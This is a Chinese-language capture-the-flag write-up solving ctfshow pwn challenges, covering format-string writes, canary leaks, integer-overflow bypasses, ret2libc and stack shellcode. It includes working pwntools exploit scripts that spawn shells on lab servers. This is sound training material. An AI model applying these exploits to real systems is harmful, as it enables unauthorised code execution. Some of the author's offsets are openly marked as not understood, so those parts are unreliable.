puts(" * Hint : Find a way to elevate your privileges! ");
puts(" * ************************************* ");
puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
putchar(36);
fgets(s, 64, stdin);
if ( strstr(s, "shutdown") )
{
puts("See you~");
exit(1);
}
if ( !strstr(s, "cat /ctfshow_flag") )
{
puts("Here you are:\n");
printf(s);
}
get_flag();
return 0;
}

跟进 get_flag()

1
2
3
4
5
6
7
int get_flag()
{
if ( !check )
return puts("Permission denied.");
puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
return flag();
}

flag() 函数为输出 flag, 看到只需要满足 check=1 就可以 return flag()
直接通过格式化字符串漏洞泄露偏移,写入 check 地址内容为1即可

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28291)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

offset = 11
# .bss:0804B040 check           dd ?
check_addr = 0x804B040
payload = fmtstr_payload(offset,{check_addr:1})  #pwntools自带的格式化字符串利用函数: 偏移,写入的地址,写入的数据
io.sendline(payload)
io.interactive()

pwn98 FSE LeakCanary

Canary?有没有办法绕过呢?

checksec

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32bit 小端序,看到 canary 是开启状态, 那无非就是几种做题方法

  • 题目明显攻击链
  • 爆破 canary
  • 泄露 canary

这一题很明显的就是走泄露 canary 路线。
因为 canary 开启,这个 canary 是保存在返回地址前四字节位置处的,格式化字符串漏洞是可以泄露出来的。
写一个枚举栈内存的脚本,canary 有一个特征是 \x00 结尾:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.binary = './pwn'
context.log_level = 'error'

def leak_canary():
    for i in range(1, 30):
        io = process('./pwn')
        try:
            payload = f"aaaa%{i}$x"
            io.recvuntil("    * *************************************                           \n")
            io.sendline(payload)
            io.recvuntil(b"aaaa")
            leak = io.recv(timeout=1).strip().decode(errors='ignore')
            print(f"[{i:02}] -> {leak}")
        except Exception as e:
            print(f"[{i:02}] Exception: {e}")
        finally:
            io.close()

leak_canary()

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[01] -> 804b000
[02] -> f3a98e34
[03] -> 8048716
[04] -> ffa62528
[05] -> 61616161
[06] -> 78243625
[07] -> 804b000
[08] -> 80487b0
[09] -> f3fd0b60
[10] -> fff46238
[11] -> 80486c5
[12] -> 8048bf0
[13] -> 0
[14] -> 2
[15] -> df30b800
[16] -> ffffffff
[17] -> e88c3e34
[18] -> ff9bcaf8
[19] -> 8048795
[20] -> 0
[21] -> ff91b540
[22] -> 0
[23] -> f29f4cb9
[24] -> 0
[25] -> 0
[26] -> f1f5513d
[27] -> f5a19cb9
[28] -> 1
[29] -> ffc2f974

其中最怀疑的就是 [15] -> df30b800 ,多试几次确定这就是 canary

接下来就是构造 payload ,先看一下栈空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
-00000034 s               db ?
-00000033 db ? ; undefined
-00000032 db ? ; undefined
-00000031 db ? ; undefined
-00000030 db ? ; undefined
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D db ? ; undefined
-0000002C db ? ; undefined
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

其中,s 就是输入的内存大小,var_C 是 Canary ,占四字节,s 为 ebp,r 为返回地址
所以我们的 payload 为

1
2
填满s + canary四字节 + padding + getshell_addr
b'a' * 0x28 + p32(canary) + b'a' * 0xc + p32(getshell_addr)

[+++++++++++++++++++++++++]
这里为什么要填 padding 0xc ?

1
2
3
4
5
6
7
8
-0000000C var_C           dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

注意看这里的 -00000004 var_4 dd ? 数据类型是 dd ()double dword) , 就是直接占四字节
所以 -00000008 -> +00000004 覆盖返回地址大小就刚好是 0xc

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28172)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

io.sendline(b'aaaa%15$x')
io.recvuntil("aaaa")
canary = int(io.recv(),16)
log.success(f"+++++++++++++++ Canary: {hex(canary)}")
gs_addr = elf.sym['__stack_check']

payload = b'a' * 0x28 + p32(canary) + b'a' * 0xc + p32(gs_addr)    
io.sendline(payload)
io.interactive()

pwn99 Flag_On_Stack

fmt盲打(不是忘记放附件,是本身就没附件!!!)

nc 链接后给了提示 Hint : Flag is on Stack !
直接枚举即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * 
context.log_level = 'error'
def leak(payload):
    io = remote('pwn.challenge.ctf.show',28104)
    io.recv()
    io.sendline(payload)
    data = io.recvuntil('\n', drop=True)
    if data.startswith(b'0x'):
        print(p64(int(data, 16)))
    io.close()
   
i = 1
while 1:
    payload = '%{}$p'.format(i)
    leak(payload)
    i += 1
1
2
3
4
5
6
b'\xc0m\xcf\x91\xa3U\x00\x00'
b'ctfshow{'
b'W0w_y0u_'
b'c@n_r3@1'
b'1y_d@nce'
b'!}\x00\x00\x00\x00\x00\x00'

pwn100

有些东西好像需要一定条件

checksec

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

disassemble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-14h] BYREF
int v4; // [rsp+10h] [rbp-10h] BYREF
unsigned int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
initial(argc, argv, envp);
whattime();
v3 = 0;
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v5 = get_int();
if ( v5 != 2 )
break;
fmt_attack(&v3);
}
if ( v5 > 2 )
break;
if ( v5 == 1 )
leak(&v4);
}
if ( v5 == 3 )
get_flag();
if ( v5 == 4 )
{
puts("Bye!");
exit(0);
}
}
}

运行起来就是一个很正常的程序,其中漏洞点在 fmt_attack(&v3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(format, 0, 0x30uLL);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40LL);
printf(format);
return __readfsqword(0x28u) ^ v3;
}

可以看到 call 这个函数以后会 printf(format); , 存在格式化字符串漏洞点,然后 *a1 = 1 ,代表不能进行下一次调用
因为存在格式化字符串漏洞,我们可以任意地址写,所以在每次 call 中 printf 的是时候可以把 a1 改为 0 (printf 在 a1被赋值后)

找 a1 寄存器 (任意地址写的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> disassemble fmt_attack
Dump of assembler code for function fmt_attack:
0x0000555555400e56 <+0>: push rbp
0x0000555555400e57 <+1>: mov rbp,rsp
0x0000555555400e5a <+4>: sub rsp,0x50
0x0000555555400e5e <+8>: mov QWORD PTR [rbp-0x48],rdi
0x0000555555400e62 <+12>: mov rax,QWORD PTR fs:0x28
0x0000555555400e6b <+21>: mov QWORD PTR [rbp-0x8],rax
0x0000555555400e6f <+25>: xor eax,eax
0x0000555555400e71 <+27>: lea rdx,[rbp-0x40]
=> 0x0000555555400e75 <+31>: mov eax,0x0
0x0000555555400e7a <+36>: mov ecx,0x6
0x0000555555400e7f <+41>: mov rdi,rdx
0x0000555555400e82 <+44>: rep stos QWORD PTR es:[rdi],rax
0x0000555555400e85 <+47>: mov rax,QWORD PTR [rbp-0x48]
0x0000555555400e89 <+51>: mov eax,DWORD PTR [rax]
0x0000555555400e8b <+53>: test eax,eax
0x0000555555400e8d <+55>: jle 0x555555400ea5 <fmt_attack+79>
0x0000555555400e8f <+57>: lea rdi,[rip+0x2c1] # 0x555555401157
0x0000555555400e96 <+64>: call 0x555555400968 <puts@plt>
0x0000555555400e9b <+69>: mov edi,0x1
0x0000555555400ea0 <+74>: call 0x5555554009c8 <exit@plt>
0x0000555555400ea5 <+79>: mov rax,QWORD PTR [rbp-0x48]
0x0000555555400ea9 <+83>: mov DWORD PTR [rax],0x1
0x0000555555400eaf <+89>: lea rax,[rbp-0x40]
0x0000555555400eb3 <+93>: mov esi,0x28
0x0000555555400eb8 <+98>: mov rdi,rax
0x0000555555400ebb <+101>: call 0x555555400d0e <read_n>
0x0000555555400ec0 <+106>: lea rax,[rbp-0x40]
0x0000555555400ec4 <+110>: mov rdi,rax
0x0000555555400ec7 <+113>: mov eax,0x0
0x0000555555400ecc <+118>: call 0x555555400980 <printf@plt>
0x0000555555400ed1 <+123>: nop
0x0000555555400ed2 <+124>: mov rax,QWORD PTR [rbp-0x8]
0x0000555555400ed6 <+128>: xor rax,QWORD PTR fs:0x28
0x0000555555400edf <+137>: je 0x555555400ee6 <fmt_attack+144>
0x0000555555400ee1 <+139>: call 0x555555400978 <__stack_chk_fail@plt>
0x0000555555400ee6 <+144>: leave
0x0000555555400ee7 <+145>: ret

看到 a1被赋值对应的是这一行

1
2
3
4
0x0000555555400ea9 <+83>:    mov    DWORD PTR [rax],0x1

对应IDA反汇编代码
.text:0000000000000EA9 mov dword ptr [rax], 1

0x0000000000000ea9 处下断点, 查看寄存器状态

1
RAX  0x7fffffffe01c ◂— 1

栈情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> stack 30
00:0000│ rsp 0x7fffffffdfb0 ◂— 0
01:0008-048 0x7fffffffdfb8 —▸ 0x7fffffffe01c ◂— 1
02:0010│ rdx 0x7fffffffdfc0 ◂— 0
... ↓ 5 skipped
08:0040│ rdi 0x7fffffffdff0 ◂— 0
09:0048-008 0x7fffffffdff8 ◂— 0x33f925c131e4c000
0a:0050│ rbp 0x7fffffffe000 —▸ 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0
0b:0058│+008 0x7fffffffe008 —▸ 0x55555540102c (main+118) ◂— jmp main+149
0c:0060│+010 0x7fffffffe010 ◂— 0
0d:0068│ rax-4 0x7fffffffe018 ◂— 0x1f7fe5af0
0e:0070│+020 0x7fffffffe020 ◂— 0x200000000
0f:0078│+028 0x7fffffffe028 ◂— 0x33f925c131e4c000
10:0080│+030 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0
11:0088│+038 0x7fffffffe038 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
12:0090│+040 0x7fffffffe040 —▸ 0x7fffffffe080 ◂— 0
13:0098│+048 0x7fffffffe048 —▸ 0x7fffffffe158 —▸ 0x7fffffffe420 ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
14:00a0│+050 0x7fffffffe050 ◂— 0x155400040 /* '@' */
15:00a8│+058 0x7fffffffe058 —▸ 0x555555400fb6 (main) ◂— push rbp
16:00b0│+060 0x7fffffffe060 —▸ 0x7fffffffe158 —▸ 0x7fffffffe420 ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
17:00b8│+068 0x7fffffffe068 ◂— 0x1c866ce437f0295
18:00c0│+070 0x7fffffffe070 ◂— 1
19:00c8│+078 0x7fffffffe078 ◂— 0
1a:00d0│+080 0x7fffffffe080 ◂— 0
1b:00d8│+088 0x7fffffffe088 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
1c:00e0│+090 0x7fffffffe090 ◂— 0x1c866ce425f0295
1d:00e8│+098 0x7fffffffe098 ◂— 0x1c876b4c1dd0295

看到 RAX 的值 (0x7fffffffe01c) 在第一位 01:0008

[+++++++++++++++++++]
这里要注意一点:
64位 Linux 的函数调用约定
在 64 位 Linux 中,函数调用的前 6 个参数通过寄存器传递 rdirsirdxrcxr8r9
如果参数超过 6 个,额外的参数通过栈传递

所以修改 a1 的值需要在 6+1 偏移处, 利用 %7$n 即可将 a1 的值改为0 ,重复利用格式化字符串漏洞

我们可以先泄露 rbp 的地址:
0a:0050│ rbp 0x7fffffffe000 —▸ 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0
在偏移 10 处,要利用格式化字符串漏洞,就要 10+6

1
2
%7$n-%16$p
-0x7ffd8f1d22d0

0x7ffd8f1d22d0 - 0x28 就是 ret_addr

计算 ELF_BASE (不太懂这一块)

1
2
3
4
5
fmt('%7$n+%17$p')
io.recvuntil('+')
ret_value = int(io.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
log.success("++++++++++ ret_value:" + hex(ret_value))

计算出基地址以后就可以直接利用偏移去重新输出 flag 的值 (源代码使用了 close(1) 禁用了输出 )

1
.text:0000000000000F5B                 lea     rdi, aFlag      ; "/flag"

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28200)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

def fmt(payload):
    io.recvuntil(">>")
    io.sendline(str(2))
    io.sendline(payload)

io.recvuntil("What time is it :")
io.sendline(b"00 00 00")
fmt('%7$n-%16$p')
io.recvuntil("-")
ret_addr = int(io.recvuntil('\n')[:-1],16)-0x28
log.success("++++++++++ ret_addr:" + hex(ret_addr))

fmt('%7$n+%17$p')
io.recvuntil('+')
ret_value = int(io.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
log.success("++++++++++ ret_value:" + hex(ret_value))

payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1 += p64(ret_addr)
fmt(payload1)
io.interactive()

整数安全

pwn101

先学点东西吧
64bit 文件,利用点在 main

1
2
if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
gift();

主要是理解各种类型的存储空间大小

1
2
3
4
5
6
7
8
9
10
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================

输入 2147483648 2147483647 或者 -2147483648 2147483647 即可获得 flag

pwn102

还是简单的知识
64bit ,IDA 打开分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0;
printf("Enter an unsigned integer: ");
__isoc99_scanf("%u", &v4);
if ( v4 == -1 )
gift();
else
printf("Number = %u\n", v4);
return 0;
}

看到是要求输入一个 unsigned 数字,并且下面也给了判断输入是否为 -1
输入-1就可以拿到 flag

pwn103

看着好像还是不难

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64bit , IDA 打开分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 ctfshow()
{
int v1; // [rsp+4h] [rbp-6Ch] BYREF
void *src; // [rsp+8h] [rbp-68h]
char dest[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = 0;
src = 0LL;
printf("Enter the length of data (up to 80): ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 80 )
{
printf("Enter the data: ");
__isoc99_scanf(" %[^\n]", dest);
memcpy(dest, src, v1);
if ( (unsigned __int64)dest > 0x1BF52 )
gift();
}
else
{
puts("Invalid input! No cookie for you!");
}
return __readfsqword(0x28u) ^ v4;
}

第一次输入输入0即可,不定义赋值内存,第二次输入-1 直接最大

pwn104

有什么是可控的?

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA 打开分析

1
2
3
4
5
6
7
8
9
10
11
ssize_t ctfshow()
{
char buf[10]; // [rsp+2h] [rbp-Eh] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

LODWORD(nbytes) = 0;
puts("How long are you?");
__isoc99_scanf("%d", &nbytes);
puts("Who are you?");
return read(0, buf, (unsigned int)nbytes);
}

简单的栈溢出,无 canary,并且有后门函数

buf 大小

1
2
3
4
5
6
7
8
9
10
11
-0000000000000010                 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E buf db 10 dup(?)
-0000000000000004 nbytes dq ?
+0000000000000004 db ? ; undefined
+0000000000000005 db ? ; undefined
+0000000000000006 db ? ; undefined
+0000000000000007 db ? ; undefined
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

0xE + 0x08 = 0x16

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28289)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

that_addr = 0x40078D
io.recvuntil("How long are you?\n")
io.sendline(b'100')
io.recvuntil("Who are you?\n")
payload = b'a' * 0x16 + p64(that_addr)
io.sendline(payload)
io.interactive()

pwn 105

看着好像没啥问题

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA 打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}

unsigned __int8 v3; ,v3是 int8类型,一个字节大小,对应的二进制范围是 0 - 11111111 ,十进制是 0-255 , 当输入的数据大于255的时候会从0重新开始计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

int main()
{
    while(1)
    {
        unsigned __int8 v3; //unsigned _int8 range 0-255
        printf("Please Input The num: ");
        scanf("%hhu", &v3);
        printf("%d\n", v3);
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
Please Input The num: 0
0
Please Input The num: 255
255
Please Input The num: 256
0
Please Input The num: 257
1
Please Input The num:

所以我们可以直接 padding 到 overflow,然后填 ret_addr , 然后覆盖到 260长度即可

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28112)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

io.recvuntil("[+] Check your permissions:\n")
success_addr = 0x804870E
payload = b'a' * 0x15 + p32(success_addr)
payload = payload.ljust(260,b'a')
io.sendline(payload)
io.interactive()

pwn 106

32bit,IDA 打开找漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 > 3u && v3 <= 8u )
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
}
else
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
return result;
}

看到任然是绕过 int8, padding 到 260长度就可以绕过,char dest[11] 存在栈溢出,同时 no canary,直接构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28103)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

flag_addr = 0x8048919
padding = 0x18
payload = b'a' * padding + p32(flag_addr)
payload = payload.ljust(260,b'a')
io.sendlineafter("Your choice:",str(1))
io.sendlineafter("Please input your username:\n",b"aaaa")
io.recvuntil("Please input your passwd:\n")
io.sendline(payload)
io.interactive()

pwn107

32bit , IDA 打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
getch(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
getch(nptr, v2);
return printf("You said: %s\n", nptr);
}

输入 -1 可以绕过长度检测,没有给后门函数,需要 ret2libc 泄露 (libc 版本问题打不通)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28250)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc-2.27.so")

padding = 0x30
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
show_addr = 0x804852F

payload = b'a' * padding + p32(printf_plt) + p32(show_addr) + p32(printf_got)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline(str(-1))
io.recvuntil("bytes of data!\n")
io.sendline(payload)

printf_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("printf_addr :",hex(printf_addr))

# 求基地址
libc_base = printf_addr - libc.sym["printf"]   # 基地址 = 真实地址 - 偏移地址
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(bin_sh_addr))

payload2 = b'a' * padding + p32(system_addr) + p32(bin_sh_addr)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline(str(-1))
io.recvuntil("bytes of data!\n")
io.sendline(payload2)

io.interactive()

pwn108

pwn109

1
2
3
4
5
6
7
8
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

32bit , IDA 打开

disassemble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl sub_90B(int a1)
{
int v2; // [esp+0h] [ebp-40Ch] BYREF
char buf[1024]; // [esp+4h] [ebp-408h] BYREF
int *v4; // [esp+404h] [ebp-8h]

v4 = &a1;
sub_73B();
sub_7A2();
while ( 1 )
{
while ( 1 )
{
puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 != 2 )
break;
printf_(buf);
}
if ( v2 == 3 )
break;
if ( v2 == 1 )
sub_8A4(buf, 0x400u);
else
printf("What do you mean by %d", v2);
}
puts("See you~");
return 0;
}

看到 NX 是关闭的,同时没有 canary,可以向栈中写入 shellcode ,利用格式化字符串漏洞修改 ret 地址,get shell

先泄露偏移量,输入1向 buf 写入数据,再输入2导致格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
What you want to do?
1) Input someing!
2) Hang out!!
3) Quit!!!
1
ffd45120
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
What you want to do?
4) Input someing!
5) Hang out!!
6) Quit!!!
2
aaaa-0x594d6fcc-0xffd45104-0x594d68f0-0x594d69f0-0x594d8fb0-0xffd45528-0x594d69a2-0xffd45120-0xeb651b60-0xffd45528-0x594d6965-0xffd45200-(nil)-0xffffffff-0x2-0x61616161-0x2d70252d-0x252d7025

得到偏移量是16,那我们就先将 ret_addr 改为 buf 开始的地方的内存地址,然后再 12 一次把 shellcode 的 asm 写入进去,3离开后 ret_addr 返回到 buf 开始处执行 shellcode , get shell

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28291)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

offset = 16
io.recvuntil("3) Quit!!!\n")
io.sendline(b'1')
stack_addr = int(io.recvline().strip(),16)
ret_addr = stack_addr + 0x41c    # 0x40c ?
print("+++++++++ stack_addr:",hex(stack_addr))
print("+++++++++ ret_addr:",hex(ret_addr))
payload = fmtstr_payload(offset,{ret_addr:stack_addr})
io.sendline(payload)
io.recvuntil("3) Quit!!!\n")
io.sendline(b'2')
io.sendline(b'1')
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recvuntil("3) Quit!!!\n")
io.sendline(b'3')
io.interactive()

这边为什么 0x40c 变成 0x41c 不是很懂, 多了 0x10

pwn110

溢出溢出溢出

1
2
3
4
5
6
7
8
9
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32bit , IDA 打开:
关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int16 *input()
{
unsigned __int16 v1; // [esp+Ah] [ebp-41Eh] BYREF
int buf; // [esp+Dh] [ebp-41Bh] BYREF
_DWORD v3[254]; // [esp+11h] [ebp-417h] BYREF
int v4; // [esp+40Ah] [ebp-1Eh]
unsigned __int16 v5; // [esp+40Eh] [ebp-1Ah] BYREF

buf = 4144959;
v3[0] = 0;
v4 = 0;
memset((char *)v3 + 3, 0, 4 * ((((char *)v3 - ((char *)v3 + 3) + 1021) & 0xFFFFFFFC) >> 2));
__isoc99_scanf("%hd", &v1);
if ( (__int16)v1 > 1024 )
{
puts("You are soooooooooo ******");
exit(0);
}
v5 = v1;
printf("%x %u\n", &buf, v1);
read(0, &buf, v5);
qmemcpy(str, &buf, 0x400u);
str[1024] = HIBYTE(v4);
return &v5;
}

scanf 获取了 %hd (短整数),如果大于1024就 exit
可以通过输入 -1 来绕过,%hd , 范围是 0-65535, 此时就可以输入 65534大小的数据,交给 buf,buf 大小为 0x400u ,可以导致溢出
因为 NX 是没有开启的,优先考虑 shellcode 写入 buf,溢出后 ret 改为 leak 的 buf_addr 即可

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='i386', os='linux', log_level='debug')
